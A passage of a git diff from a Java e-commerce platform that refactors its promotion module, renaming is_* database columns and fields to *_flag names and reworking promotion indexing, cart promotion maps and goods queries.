diff --git a/DB/li_promotions.sql b/DB/li_promotions.sql index 2e47e554..3e57521f 100644 --- a/DB/li_promotions.sql +++ b/DB/li_promotions.sql @@ -1,4 +1,5 @@ +-- 促销重构sql ALTER TABLE li_coupon DROP COLUMN promotion_status; ALTER TABLE li_coupon_activity DROP COLUMN promotion_status; @@ -36,3 +37,17 @@ ALTER TABLE li_promotion_goods ADD `goods_id` varchar(255) CHARACTER SET utf8mb4 ALTER TABLE li_seckill DROP COLUMN promotion_status; ALTER TABLE li_seckill ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; ALTER TABLE li_seckill ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; + +ALTER TABLE li_full_discount RENAME COLUMN is_coupon TO coupon_flag; +ALTER TABLE li_full_discount RENAME COLUMN is_free_freight TO free_freight_flag; +ALTER TABLE li_full_discount RENAME COLUMN is_full_minus TO full_minus_flag; +ALTER TABLE li_full_discount RENAME COLUMN is_full_rate TO full_rate_flag; +ALTER TABLE li_full_discount RENAME COLUMN is_gift TO gift_flag; +ALTER TABLE li_full_discount RENAME COLUMN is_point TO point_flag; + +ALTER TABLE li_member_coupon RENAME COLUMN is_platform TO platform_flag; + +ALTER TABLE li_goods RENAME COLUMN is_auth TO auth_flag; + +ALTER TABLE li_goods_sku RENAME COLUMN is_promotion TO promotion_flag; +ALTER TABLE li_goods_sku RENAME COLUMN is_auth TO auth_flag; diff --git a/buyer-api/src/main/java/cn/lili/controller/order/CartController.java b/buyer-api/src/main/java/cn/lili/controller/order/CartController.java index 17e4f3ed..c2a4508a 100644 --- a/buyer-api/src/main/java/cn/lili/controller/order/CartController.java +++ b/buyer-api/src/main/java/cn/lili/controller/order/CartController.java @@ -246,7 +246,7 @@ public class CartController { throw se; } catch (Exception e) { log.error(ResultCode.ORDER_ERROR.message(), e); - throw new ServiceException(ResultCode.ORDER_ERROR); + throw e; } } } diff --git a/buyer-api/src/main/java/cn/lili/controller/promotion/KanjiaGoodsActivityBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/promotion/KanjiaGoodsActivityBuyerController.java index a0445108..51b2dab2 100644 --- a/buyer-api/src/main/java/cn/lili/controller/promotion/KanjiaGoodsActivityBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/promotion/KanjiaGoodsActivityBuyerController.java @@ -53,8 +53,8 @@ public class KanjiaGoodsActivityBuyerController { public ResultMessage> kanjiaActivityGoodsPage(KanjiaActivityGoodsParams kanjiaActivityGoodsParams, PageVO page) { // 会员端查询到的肯定是已经开始的活动商品 kanjiaActivityGoodsParams.setPromotionStatus(PromotionsStatusEnum.START.name()); - kanjiaActivityGoodsParams.setStartTime(System.currentTimeMillis()); - kanjiaActivityGoodsParams.setEndTime(System.currentTimeMillis()); +// kanjiaActivityGoodsParams.setStartTime(System.currentTimeMillis()); +// kanjiaActivityGoodsParams.setEndTime(System.currentTimeMillis()); return ResultUtil.data(kanJiaActivityGoodsService.kanjiaGoodsVOPage(kanjiaActivityGoodsParams, page)); } diff --git a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java index f08a1a70..b86dbe59 100644 --- a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java @@ -141,12 +141,20 @@ public class GoodsMessageListener implements RocketMQListener { this.updateGoodsIndexPromotions(new String(messageExt.getBody())); break; case DELETE_GOODS_INDEX_PROMOTIONS: - this.goodsIndexService.deleteEsGoodsPromotionByPromotionId(null, new String(messageExt.getBody())); + BasePromotions promotions = JSONUtil.toBean(new String(messageExt.getBody()), BasePromotions.class); + log.info("删除索引信息: {}", promotions); + if (CharSequenceUtil.isNotEmpty(promotions.getScopeId())) { + this.goodsIndexService.deleteEsGoodsPromotionByPromotionId(Arrays.asList(promotions.getScopeId().split(",")), promotions.getId()); + } else { + this.goodsIndexService.deleteEsGoodsPromotionByPromotionId(null, promotions.getId()); + } break; case UPDATE_GOODS_INDEX: try { String goodsIdsJsonStr = new String(messageExt.getBody()); - List goodsList = goodsService.list(new LambdaQueryWrapper().in(Goods::getId, JSONUtil.toList(goodsIdsJsonStr, String.class))); + GoodsSearchParams searchParams = new GoodsSearchParams(); + searchParams.setId(ArrayUtil.join(JSONUtil.toList(goodsIdsJsonStr, String.class).toArray(), ",")); + List goodsList = goodsService.queryListByParams(searchParams); this.updateGoodsIndex(goodsList); } catch (Exception e) { log.error("更新商品索引事件执行异常,商品信息 {}", new String(messageExt.getBody())); @@ -224,6 +232,8 @@ public class GoodsMessageListener implements RocketMQListener { PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); searchParams.setPromotionId(promotions.getId()); List promotionGoodsList = this.promotionGoodsService.listFindAll(searchParams); + List skuIds = promotionGoodsList.stream().map(PromotionGoods::getSkuId).collect(Collectors.toList()); + this.goodsIndexService.deleteEsGoodsPromotionByPromotionId(skuIds, promotions.getId()); this.goodsIndexService.updateEsGoodsIndexByList(promotionGoodsList, promotions, esPromotionKey); } else if (PromotionsScopeTypeEnum.PORTION_GOODS_CATEGORY.name().equals(promotions.getScopeType())) { GoodsSearchParams searchParams = new GoodsSearchParams(); @@ -249,7 +259,7 @@ public class GoodsMessageListener implements RocketMQListener { for (Goods goods : goodsList) { //如果商品通过审核&&并且已上架 List goodsSkuList = this.goodsSkuService.list(new LambdaQueryWrapper().eq(GoodsSku::getGoodsId, goods.getId()).gt(GoodsSku::getQuantity, 0)); - if (goods.getIsAuth().equals(GoodsAuthEnum.PASS.name()) + if (goods.getAuthFlag().equals(GoodsAuthEnum.PASS.name()) && goods.getMarketEnable().equals(GoodsStatusEnum.UPPER.name()) && Boolean.FALSE.equals(goods.getDeleteFlag())) { goodsSkuList.forEach(goodsSku -> { @@ -278,7 +288,7 @@ public class GoodsMessageListener implements RocketMQListener { private void updateGoodsIndex(Goods goods) { //如果商品通过审核&&并且已上架 List goodsSkuList = this.goodsSkuService.list(new LambdaQueryWrapper().eq(GoodsSku::getGoodsId, goods.getId())); - if (goods.getIsAuth().equals(GoodsAuthEnum.PASS.name()) + if (goods.getAuthFlag().equals(GoodsAuthEnum.PASS.name()) && goods.getMarketEnable().equals(GoodsStatusEnum.UPPER.name()) && Boolean.FALSE.equals(goods.getDeleteFlag())) { this.generatorGoodsIndex(goods, goodsSkuList); @@ -322,7 +332,7 @@ public class GoodsMessageListener implements RocketMQListener { List goodsParamDTOS = JSONUtil.toList(goods.getParams(), GoodsParamsDTO.class); goodsIndex = new EsGoodsIndex(goodsSku, goodsParamDTOS); } - goodsIndex.setIsAuth(goods.getIsAuth()); + goodsIndex.setAuthFlag(goods.getAuthFlag()); goodsIndex.setMarketEnable(goods.getMarketEnable()); this.settingUpGoodsIndexOtherParam(goodsIndex); return goodsIndex; diff --git a/consumer/src/main/java/cn/lili/trigger/executor/PromotionTimeTriggerExecutor.java b/consumer/src/main/java/cn/lili/trigger/executor/PromotionTimeTriggerExecutor.java index 1eb8cbd3..70e908e8 100644 --- a/consumer/src/main/java/cn/lili/trigger/executor/PromotionTimeTriggerExecutor.java +++ b/consumer/src/main/java/cn/lili/trigger/executor/PromotionTimeTriggerExecutor.java @@ -2,6 +2,7 @@ package cn.lili.trigger.executor; import cn.hutool.json.JSONUtil; import cn.lili.modules.order.order.service.OrderService; +import cn.lili.modules.promotion.entity.dos.Pintuan; import cn.lili.trigger.TimeTriggerExecutor; import cn.lili.trigger.message.PintuanOrderMessage; import cn.lili.trigger.model.TimeExecuteConstant; @@ -35,6 +36,10 @@ public class PromotionTimeTriggerExecutor implements TimeTriggerExecutor { //拼团订单自动处理 orderService.agglomeratePintuanOrder(pintuanOrderMessage.getPintuanId(), pintuanOrderMessage.getOrderSn()); } + Pintuan pintuan = JSONUtil.toBean(JSONUtil.parseObj(object), Pintuan.class); + if (pintuan != null && pintuan.getId() != null) { + this.orderService.checkFictitiousOrder(pintuan.getId(), pintuan.getRequiredNum(), pintuan.getFictitious()); + } } diff --git a/framework/src/main/java/cn/lili/common/enums/ResultCode.java b/framework/src/main/java/cn/lili/common/enums/ResultCode.java index 70b834e3..264b36fc 100644 --- a/framework/src/main/java/cn/lili/common/enums/ResultCode.java +++ b/framework/src/main/java/cn/lili/common/enums/ResultCode.java @@ -364,6 +364,7 @@ public enum ResultCode { KANJIA_GOODS_ACTIVE_HIGHEST_LOWEST_PRICE_ERROR(48005, "最低砍价金额不能高于最高砍价金额"), KANJIA_GOODS_ACTIVE_SETTLEMENT_PRICE_ERROR(48006, "结算金额不能高于商品金额"), KANJIA_GOODS_DELETE_ERROR(48007, "删除砍价商品异常"), + KANJIA_GOODS_UPDATE_ERROR(48012, "更新砍价商品异常"), KANJIA_ACTIVITY_NOT_FOUND_ERROR(48008, "砍价记录不存在"), KANJIA_ACTIVITY_LOG_MEMBER_ERROR(48009, "当前会员已经帮砍"), KANJIA_ACTIVITY_MEMBER_ERROR(48010, "当前会员已经发起此砍价商品活动"), diff --git a/framework/src/main/java/cn/lili/elasticsearch/BaseElasticsearchService.java b/framework/src/main/java/cn/lili/elasticsearch/BaseElasticsearchService.java index 8ece3359..59fe971d 100644 --- a/framework/src/main/java/cn/lili/elasticsearch/BaseElasticsearchService.java +++ b/framework/src/main/java/cn/lili/elasticsearch/BaseElasticsearchService.java @@ -244,7 +244,7 @@ public abstract class BaseElasticsearchService { " }\n" + " }\n" + " },\n" + - " \"isAuth\": {\n" + + " \"authFlag\": {\n" + " \"type\": \"text\",\n" + " \"fields\": {\n" + " \"keyword\": {\n" + diff --git a/framework/src/main/java/cn/lili/elasticsearch/config/ElasticsearchConfig.java b/framework/src/main/java/cn/lili/elasticsearch/config/ElasticsearchConfig.java index 36229fca..478470d2 100644 --- a/framework/src/main/java/cn/lili/elasticsearch/config/ElasticsearchConfig.java +++ b/framework/src/main/java/cn/lili/elasticsearch/config/ElasticsearchConfig.java @@ -57,7 +57,7 @@ public class ElasticsearchConfig extends AbstractElasticsearchConfiguration { .setDefaultCredentialsProvider(credential) .setKeepAliveStrategy(getConnectionKeepAliveStrategy()) .setMaxConnPerRoute(10) - .setDefaultIOReactorConfig(IOReactorConfig.custom().setIoThreadCount(1).build())); + .setDefaultIOReactorConfig(IOReactorConfig.custom().setIoThreadCount(Runtime.getRuntime().availableProcessors()).build())); } restBuilder.setRequestConfigCallback(requestConfigBuilder -> diff --git a/framework/src/main/java/cn/lili/modules/goods/entity/dos/Goods.java b/framework/src/main/java/cn/lili/modules/goods/entity/dos/Goods.java index dc8160e5..0e1c42e5 100644 --- a/framework/src/main/java/cn/lili/modules/goods/entity/dos/Goods.java +++ b/framework/src/main/java/cn/lili/modules/goods/entity/dos/Goods.java @@ -107,7 +107,7 @@ public class Goods extends BaseEntity { private String templateId; @ApiModelProperty(value = "审核状态") - private String isAuth; + private String authFlag; @ApiModelProperty(value = "审核信息") private String authMessage; diff --git a/framework/src/main/java/cn/lili/modules/goods/entity/dos/GoodsSku.java b/framework/src/main/java/cn/lili/modules/goods/entity/dos/GoodsSku.java index 0b0b0370..767fd0bb 100644 --- a/framework/src/main/java/cn/lili/modules/goods/entity/dos/GoodsSku.java +++ b/framework/src/main/java/cn/lili/modules/goods/entity/dos/GoodsSku.java @@ -42,7 +42,7 @@ public class GoodsSku extends BaseEntity { private String freightTemplateId; @ApiModelProperty(value = "是否是促销商品") - private Boolean isPromotion; + private Boolean promotionFlag; @ApiModelProperty(value = "促销价") private Double promotionPrice; @@ -130,7 +130,7 @@ public class GoodsSku extends BaseEntity { * @see GoodsAuthEnum */ @ApiModelProperty(value = "审核状态") - private String isAuth; + private String authFlag; @ApiModelProperty(value = "审核信息") private String authMessage; diff --git a/framework/src/main/java/cn/lili/modules/goods/entity/dto/GoodsSearchParams.java b/framework/src/main/java/cn/lili/modules/goods/entity/dto/GoodsSearchParams.java index 4b59c4c6..17d5090b 100644 --- a/framework/src/main/java/cn/lili/modules/goods/entity/dto/GoodsSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/goods/entity/dto/GoodsSearchParams.java @@ -9,6 +9,8 @@ import io.swagger.annotations.ApiModelProperty; import lombok.Data; import lombok.EqualsAndHashCode; +import java.util.Arrays; + /** * 商品查询条件 * @@ -58,7 +60,7 @@ public class GoodsSearchParams extends PageVO { * @see GoodsAuthEnum */ @ApiModelProperty(value = "审核状态") - private String isAuth; + private String authFlag; @ApiModelProperty(value = "库存数量") private Integer quantity; @@ -81,7 +83,7 @@ public class GoodsSearchParams extends PageVO { queryWrapper.like("goods_name", goodsName); } if (CharSequenceUtil.isNotEmpty(id)) { - queryWrapper.eq("id", id); + queryWrapper.in("id", Arrays.asList(id.split(","))); } if (CharSequenceUtil.isNotEmpty(storeId)) { queryWrapper.eq("store_id", storeId); @@ -101,8 +103,8 @@ public class GoodsSearchParams extends PageVO { if (CharSequenceUtil.isNotEmpty(marketEnable)) { queryWrapper.eq("market_enable", marketEnable); } - if (CharSequenceUtil.isNotEmpty(isAuth)) { - queryWrapper.eq("is_auth", isAuth); + if (CharSequenceUtil.isNotEmpty(authFlag)) { + queryWrapper.eq("auth_flag", authFlag); } if (quantity != null) { queryWrapper.le("quantity", quantity); diff --git a/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java b/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java index 09a0bd1b..57ce53d7 100644 --- a/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java +++ b/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java @@ -83,6 +83,15 @@ public interface GoodsService extends IService { */ IPage queryByParams(GoodsSearchParams goodsSearchParams); + + /** + * 商品查询 + * + * @param goodsSearchParams 查询参数 + * @return 商品信息 + */ + List queryListByParams(GoodsSearchParams goodsSearchParams); + /** * 批量审核商品 * diff --git a/framework/src/main/java/cn/lili/modules/goods/service/GoodsSkuService.java b/framework/src/main/java/cn/lili/modules/goods/service/GoodsSkuService.java index 085819e8..03bd3276 100644 --- a/framework/src/main/java/cn/lili/modules/goods/service/GoodsSkuService.java +++ b/framework/src/main/java/cn/lili/modules/goods/service/GoodsSkuService.java @@ -147,7 +147,7 @@ public interface GoodsSkuService extends IService { /** * 更新商品sku状态 * - * @param goods 商品信息(Id,MarketEnable/IsAuth) + * @param goods 商品信息(Id,MarketEnable/AuthFlag) */ void updateGoodsSkuStatus(Goods goods); diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/CommodityServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/CommodityServiceImpl.java index fe069032..983c56b5 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/CommodityServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/CommodityServiceImpl.java @@ -70,7 +70,7 @@ public class CommodityServiceImpl extends ServiceImpl implements */ @Autowired private RocketmqCustomProperties rocketmqCustomProperties; - /** - * 分类-参数 - */ - @Autowired - private CategoryParameterGroupService categoryParameterGroupService; @Autowired private FreightTemplateService freightTemplateService; @@ -255,12 +253,23 @@ public class GoodsServiceImpl extends ServiceImpl implements return this.page(PageUtil.initPage(goodsSearchParams), goodsSearchParams.queryWrapper()); } + /** + * 商品查询 + * + * @param goodsSearchParams 查询参数 + * @return 商品信息 + */ + @Override + public List queryListByParams(GoodsSearchParams goodsSearchParams) { + return this.list(goodsSearchParams.queryWrapper()); + } + @Override public boolean auditGoods(List goodsIds, GoodsAuthEnum goodsAuthEnum) { boolean result = false; for (String goodsId : goodsIds) { Goods goods = this.checkExist(goodsId); - goods.setIsAuth(goodsAuthEnum.name()); + goods.setAuthFlag(goodsAuthEnum.name()); result = this.updateById(goods); goodsSkuService.updateGoodsSkuStatus(goods); //删除之前的缓存 @@ -384,7 +393,7 @@ public class GoodsServiceImpl extends ServiceImpl implements return this.count( new LambdaQueryWrapper() .eq(Goods::getStoreId, storeId) - .eq(Goods::getIsAuth, GoodsAuthEnum.PASS.name()) + .eq(Goods::getAuthFlag, GoodsAuthEnum.PASS.name()) .eq(Goods::getMarketEnable, GoodsStatusEnum.UPPER.name())); } @@ -445,7 +454,7 @@ public class GoodsServiceImpl extends ServiceImpl implements Setting setting = settingService.get(SettingEnum.GOODS_SETTING.name()); GoodsSetting goodsSetting = JSONUtil.toBean(setting.getSettingValue(), GoodsSetting.class); //是否需要审核 - goods.setIsAuth(Boolean.TRUE.equals(goodsSetting.getGoodsCheck()) ? GoodsAuthEnum.TOBEAUDITED.name() : GoodsAuthEnum.PASS.name()); + goods.setAuthFlag(Boolean.TRUE.equals(goodsSetting.getGoodsCheck()) ? GoodsAuthEnum.TOBEAUDITED.name() : GoodsAuthEnum.PASS.name()); //判断当前用户是否为店铺 if (Objects.requireNonNull(UserContext.getCurrentUser()).getRole().equals(UserEnums.STORE)) { StoreVO storeDetail = this.storeService.getStoreDetail(); @@ -485,9 +494,8 @@ public class GoodsServiceImpl extends ServiceImpl implements //如果当前会员不为空,且为店铺角色 if (currentUser != null && (currentUser.getRole().equals(UserEnums.STORE) && currentUser.getStoreId() != null)) { return currentUser; - } else { - throw new ServiceException(ResultCode.USER_AUTHORITY_ERROR); } + return null; } /** diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java index b7eef69b..3e37bf9a 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java @@ -154,7 +154,7 @@ public class GoodsSkuServiceImpl extends ServiceImpl i skuInfo(sku, goods, map, null); newSkuList.add(sku); //如果商品状态值不对,则es索引移除 - if (goods.getIsAuth().equals(GoodsAuthEnum.PASS.name()) && goods.getMarketEnable().equals(GoodsStatusEnum.UPPER.name())) { + if (goods.getAuthFlag().equals(GoodsAuthEnum.PASS.name()) && goods.getMarketEnable().equals(GoodsStatusEnum.UPPER.name())) { goodsIndexService.deleteIndexById(sku.getId()); this.clearCache(sku.getId()); } @@ -234,7 +234,7 @@ public class GoodsSkuServiceImpl extends ServiceImpl i //商品为空||商品下架||商品未审核通过||商品删除,则提示:商品已下架 if (goodsVO == null || goodsVO.getMarketEnable().equals(GoodsStatusEnum.DOWN.name()) - || !goodsVO.getIsAuth().equals(GoodsAuthEnum.PASS.name()) + || !goodsVO.getAuthFlag().equals(GoodsAuthEnum.PASS.name()) || Boolean.TRUE.equals(goodsVO.getDeleteFlag())) { throw new ServiceException(ResultCode.GOODS_NOT_EXIST); } @@ -269,8 +269,11 @@ public class GoodsSkuServiceImpl extends ServiceImpl i boolean containsPromotion = promotionMap.keySet().stream().anyMatch(i -> i.contains(PromotionTypeEnum.SECKILL.name()) || i.contains(PromotionTypeEnum.PINTUAN.name())); if (containsPromotion && goodsIndex.getPromotionPrice() != null) { + goodsSkuDetail.setPromotionFlag(true); goodsSkuDetail.setPromotionPrice(goodsIndex.getPromotionPrice()); - + } else { + goodsSkuDetail.setPromotionFlag(false); + goodsSkuDetail.setPromotionPrice(null); } } @@ -301,14 +304,14 @@ public class GoodsSkuServiceImpl extends ServiceImpl i /** * 更新商品sku状态 * - * @param goods 商品信息(Id,MarketEnable/IsAuth) + * @param goods 商品信息(Id,MarketEnable/AuthFlag) */ @Override public void updateGoodsSkuStatus(Goods goods) { LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); updateWrapper.eq(GoodsSku::getGoodsId, goods.getId()); updateWrapper.set(GoodsSku::getMarketEnable, goods.getMarketEnable()); - updateWrapper.set(GoodsSku::getIsAuth, goods.getIsAuth()); + updateWrapper.set(GoodsSku::getAuthFlag, goods.getAuthFlag()); updateWrapper.set(GoodsSku::getDeleteFlag, goods.getDeleteFlag()); boolean update = this.update(updateWrapper); if (Boolean.TRUE.equals(update)) { @@ -525,7 +528,7 @@ public class GoodsSkuServiceImpl extends ServiceImpl i LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); updateWrapper.eq(GoodsSku::getId, skuId); updateWrapper.set(GoodsSku::getPromotionPrice, promotionPrice); - updateWrapper.set(GoodsSku::getIsPromotion, true); + updateWrapper.set(GoodsSku::getPromotionFlag, true); this.update(updateWrapper); cache.remove(GoodsSkuService.getCacheKeys(skuId)); } @@ -625,7 +628,7 @@ public class GoodsSkuServiceImpl extends ServiceImpl i sku.setGoodsUnit(goods.getGoodsUnit()); sku.setGrade(100D); //商品状态 - sku.setIsAuth(goods.getIsAuth()); + sku.setAuthFlag(goods.getAuthFlag()); sku.setSalesModel(goods.getSalesModel()); //卖家信息 sku.setStoreId(goods.getStoreId()); diff --git a/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/CartSkuVO.java b/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/CartSkuVO.java index f7fcd45c..d9a6f3e0 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/CartSkuVO.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/CartSkuVO.java @@ -11,6 +11,7 @@ import lombok.NoArgsConstructor; import java.io.Serializable; import java.util.Date; import java.util.List; +import java.util.Map; /** * 购物车中的产品 @@ -85,6 +86,9 @@ public class CartSkuVO extends CartBase implements Serializable { @ApiModelProperty(value = "参与促销活动更新时间(一天更新一次) 例如时间为:2020-01-01 00:00:01") private Date updatePromotionTime; + @ApiModelProperty("商品促销活动集合,key 为 促销活动类型,value 为 促销活动实体信息 ") + private Map promotionMap; + /** * @see CartTypeEnum */ @@ -102,10 +106,20 @@ public class CartSkuVO extends CartBase implements Serializable { this.updatePromotionTime = new Date(0); this.errorMessage = ""; this.isShip = true; - this.purchasePrice = goodsSku.getIsPromotion() != null && goodsSku.getIsPromotion() ? goodsSku.getPromotionPrice() : goodsSku.getPrice(); + this.purchasePrice = goodsSku.getPromotionFlag() != null && goodsSku.getPromotionFlag() ? goodsSku.getPromotionPrice() : goodsSku.getPrice(); this.isFreeFreight = false; - this.utilPrice = 0D; + this.utilPrice = goodsSku.getPromotionFlag() != null && goodsSku.getPromotionFlag() ? goodsSku.getPromotionPrice() : goodsSku.getPrice(); this.setStoreId(goodsSku.getStoreId()); this.setStoreName(goodsSku.getStoreName()); } + + /** + * 在构造器里初始化促销列表,规格列表 + */ + public CartSkuVO(GoodsSku goodsSku, Map promotionMap) { + this(goodsSku); + if (promotionMap != null && !promotionMap.isEmpty()) { + this.promotionMap = promotionMap; + } + } } diff --git a/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/FullDiscountVO.java b/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/FullDiscountVO.java index 4a746a7d..27b061b6 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/FullDiscountVO.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/FullDiscountVO.java @@ -1,6 +1,6 @@ package cn.lili.modules.order.cart.entity.vo; -import cn.lili.modules.goods.entity.dos.GoodsSku; +import cn.hutool.core.text.CharSequenceUtil; import cn.lili.modules.promotion.entity.dos.FullDiscount; import cn.lili.modules.promotion.entity.dos.PromotionGoods; import lombok.Data; @@ -29,14 +29,20 @@ public class FullDiscountVO extends FullDiscount { private List promotionGoodsList; /** - * 赠品信息 + * 赠品skuId */ - private GoodsSku giftSku; + private String giftSkuId; /** - * 参与商品,为-1则代表所有商品参加 + * 赠品名称 */ - private Integer number; + private String giftSkuName; + + /** + * 赠品路径 + */ + private String giftSkuThumbnail; + public FullDiscountVO(FullDiscount fullDiscount) { BeanUtils.copyProperties(fullDiscount, this); @@ -44,25 +50,25 @@ public class FullDiscountVO extends FullDiscount { public String notice() { StringBuilder stringBuffer = new StringBuilder(); - if (Boolean.TRUE.equals(this.getIsFullMinus())) { + if (Boolean.TRUE.equals(this.getFullMinusFlag())) { stringBuffer.append(" 减").append(this.getFullMinus()).append("元 "); } - if (Boolean.TRUE.equals(this.getIsFullRate())) { + if (Boolean.TRUE.equals(this.getFullRateFlag())) { stringBuffer.append(" 打").append(this.getFullRate()).append("折 "); } - if (Boolean.TRUE.equals(this.getIsFreeFreight())) { + if (Boolean.TRUE.equals(this.getFreeFreightFlag())) { stringBuffer.append(" 免运费 "); } - if (Boolean.TRUE.equals(this.getIsPoint())) { + if (Boolean.TRUE.equals(this.getPointFlag())) { stringBuffer.append(" 赠").append(this.getPoint()).append("积分 "); } - if (Boolean.TRUE.equals(this.getIsCoupon())) { + if (Boolean.TRUE.equals(this.getCouponFlag())) { stringBuffer.append(" 赠").append("优惠券 "); } - if (Boolean.TRUE.equals(this.getIsGift() && giftSku != null)) { - stringBuffer.append(" 赠品[").append(giftSku.getGoodsName()).append("]"); + if (Boolean.TRUE.equals(this.getGiftFlag() && CharSequenceUtil.isNotEmpty(giftSkuName))) { + stringBuffer.append(" 赠品[").append(giftSkuName).append("]"); } return stringBuffer.toString(); diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java index 793abde5..a315538b 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java @@ -21,10 +21,8 @@ import cn.lili.modules.order.cart.render.CartRenderStep; import cn.lili.modules.order.order.entity.dos.Order; import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.promotion.entity.dos.Pintuan; -import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; -import cn.lili.modules.promotion.service.PintuanService; -import cn.lili.modules.promotion.service.PointsGoodsService; +import cn.lili.modules.promotion.entity.dos.PointsGoods; +import cn.lili.modules.promotion.entity.dto.BasePromotions; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; @@ -49,15 +47,9 @@ public class CheckDataRender implements CartRenderStep { @Autowired private OrderService orderService; - @Autowired - private PintuanService pintuanService; - @Autowired private MemberService memberService; - @Autowired - private PointsGoodsService pointsGoodsService; - @Override public RenderStepEnums step() { @@ -105,7 +97,7 @@ public class CheckDataRender implements CartRenderStep { continue; } //商品上架状态判定 - if (!GoodsAuthEnum.PASS.name().equals(dataSku.getIsAuth()) || !GoodsStatusEnum.UPPER.name().equals(dataSku.getMarketEnable())) { + if (!GoodsAuthEnum.PASS.name().equals(dataSku.getAuthFlag()) || !GoodsStatusEnum.UPPER.name().equals(dataSku.getMarketEnable())) { //设置购物车未选中 cartSkuVO.setChecked(false); //设置购物车此sku商品已失效 @@ -121,6 +113,14 @@ public class CheckDataRender implements CartRenderStep { //设置失效消息 cartSkuVO.setErrorMessage("商品库存不足,现有库存数量[" + dataSku.getQuantity() + "]"); } + //移除无效促销活动 + cartSkuVO.setPromotionMap(cartSkuVO.getPromotionMap().entrySet().stream().filter(i -> { + BasePromotions basePromotions = (BasePromotions) i.getValue(); + if (basePromotions.getStartTime() != null && basePromotions.getEndTime() != null) { + return basePromotions.getStartTime().getTime() <= System.currentTimeMillis() && basePromotions.getEndTime().getTime() >= System.currentTimeMillis(); + } + return true; + }).collect(Collectors.toMap(Map.Entry::getKey, Map.Entry::getValue))); } } @@ -134,7 +134,7 @@ public class CheckDataRender implements CartRenderStep { List cartList = new ArrayList<>(); //根据店铺分组 - Map> storeCollect = tradeDTO.getSkuList().parallelStream().collect(Collectors.groupingBy(CartSkuVO::getStoreId)); + Map> storeCollect = tradeDTO.getSkuList().stream().collect(Collectors.groupingBy(CartSkuVO::getStoreId)); for (Map.Entry> storeCart : storeCollect.entrySet()) { if (!storeCart.getValue().isEmpty()) { CartVO cartVO = new CartVO(storeCart.getValue().get(0)); @@ -170,9 +170,9 @@ public class CheckDataRender implements CartRenderStep { } } //判断拼团商品的限购数量 - Optional pintuanId = tradeDTO.getSkuList().get(0).getPromotions().stream().filter(i -> i.getPromotionType().equals(PromotionTypeEnum.PINTUAN.name())).map(PromotionGoods::getPromotionId).findFirst(); - if (pintuanId.isPresent()) { - Pintuan pintuan = pintuanService.getById(pintuanId.get()); + Optional> pintuanPromotions = tradeDTO.getSkuList().get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.PINTUAN.name())).findFirst(); + if (pintuanPromotions.isPresent()) { + Pintuan pintuan = (Pintuan) pintuanPromotions.get().getValue(); Integer limitNum = pintuan.getLimitNum(); for (CartSkuVO cartSkuVO : tradeDTO.getSkuList()) { if (limitNum != 0 && cartSkuVO.getNum() > limitNum) { @@ -182,16 +182,19 @@ public class CheckDataRender implements CartRenderStep { } //积分商品,判断用户积分是否满足 } else if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.POINTS)) { - String skuId = tradeDTO.getSkuList().get(0).getGoodsSku().getId(); //获取积分商品VO - PointsGoodsVO pointsGoodsVO = pointsGoodsService.getPointsGoodsDetailBySkuId(skuId); - if (pointsGoodsVO == null) { - throw new ServiceException(ResultCode.POINT_GOODS_ERROR); - } - Member member = memberService.getUserInfo(); - if (member.getPoint() < pointsGoodsVO.getPoints()) { - throw new ServiceException(ResultCode.USER_POINTS_ERROR); + Optional> pointsPromotions = tradeDTO.getSkuList().get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.POINTS_GOODS.name())).findFirst(); + if (pointsPromotions.isPresent()) { + PointsGoods pointsGoods = (PointsGoods) pointsPromotions.get().getValue(); + if (pointsGoods == null) { + throw new ServiceException(ResultCode.POINT_GOODS_ERROR); + } + Member member = 